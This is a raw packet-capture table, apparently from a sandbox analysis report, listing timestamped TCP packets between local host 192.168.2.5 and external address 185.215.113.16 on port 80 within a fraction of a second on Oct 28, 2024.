Oct 28, 2024 20:50:27.586872101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586888075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586903095 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586903095 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586903095 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586920023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586931944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586936951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586951971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586966991 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586982965 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.586983919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.586983919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587006092 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587022066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587035894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587050915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587063074 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587064028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587065935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587081909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587097883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587111950 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587111950 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587112904 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587131023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587146044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587162018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587177038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587192059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587193012 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587193012 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587207079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587222099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587238073 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587241888 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587241888 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587253094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587270021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587284088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587300062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587301970 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587301970 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587325096 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587340117 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587340117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587364912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587380886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587399006 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587415934 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587428093 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587428093 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587429047 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587445974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587447882 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587460041 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587476969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587491989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587507963 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587510109 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587510109 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587523937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587538958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587555885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.587574005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.587574005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.592928886 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598634958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598684072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598702908 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598720074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598737001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598742008 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598742962 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598753929 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598786116 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598809958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598831892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598831892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598833084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598850012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598864079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598880053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598895073 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598911047 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598918915 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598918915 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598928928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598939896 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598944902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598961115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598977089 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598993063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.598994970 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.598994970 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599019051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599041939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599056959 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599072933 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599093914 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599093914 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599097967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599114895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599129915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599144936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599147081 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599147081 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599162102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599186897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599201918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599216938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599225044 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599225044 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599234104 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599250078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599266052 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599280119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599287033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599287033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599296093 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599335909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599340916 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599358082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599375010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599391937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599406004 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599411011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599430084 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599431992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599448919 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599463940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599467039 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599478960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599495888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599512100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599518061 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599518061 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599529028 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599551916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599567890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599584103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599586964 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599586964 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599600077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599616051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599632025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599647045 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599661112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599663019 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599663019 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599684000 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599699974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599714994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599718094 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599718094 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599741936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599757910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599772930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599788904 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599803925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599806070 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599806070 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599821091 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599837065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599852085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599859953 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599859953 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599869013 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599884033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599899054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599920988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599924088 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599924088 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.599936962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599952936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.599968910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600003958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600003958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600230932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600280046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600296021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600332975 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600442886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600467920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600483894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600502014 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600502014 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600502014 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600522041 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600538015 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600553036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600568056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600583076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600590944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600590944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600600958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600616932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600631952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600640059 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600640059 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600649118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600666046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600682974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600704908 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600704908 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.600902081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600934982 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600959063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600974083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.600991011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601008892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601008892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601080894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601115942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601150036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601182938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601192951 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601192951 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601236105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601285934 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601339102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601376057 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601376057 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601387024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601421118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601454973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601488113 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601521969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601526976 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601526976 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601557016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601589918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601591110 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601628065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601661921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601695061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601711035 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601711035 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601728916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601763010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601794958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601845026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601876974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601882935 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601882935 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.601911068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601943970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.601979017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602011919 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602016926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602016926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602046013 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602078915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602114916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602147102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602153063 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602153063 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602180958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602214098 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602250099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602283001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602288961 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602288961 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602318048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602350950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602384090 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602416992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602421045 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602421045 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602464914 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602499962 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602499962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602540016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602572918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602610111 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602611065 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602627039 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602663994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602698088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602730989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602781057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602823973 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602823973 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602832079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602881908 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602917910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602930069 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.602952957 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.602986097 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603019953 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603060007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603060007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603070021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603104115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603137016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603219032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603240013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603240013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603255987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603306055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603333950 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603374958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603425026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603458881 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603492975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603532076 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603532076 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603543997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603595018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603626966 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603660107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603696108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603703022 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603703022 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603730917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603765011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603796005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603797913 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603847980 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603848934 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.603899002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603934050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.603966951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604000092 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604022026 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604022026 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604055882 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604110003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604149103 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604149103 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604157925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604192019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604224920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604258060 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604290962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604296923 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604296923 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604324102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604362011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604393959 CET	80	52257	185.215.113.16	192.168.2.5
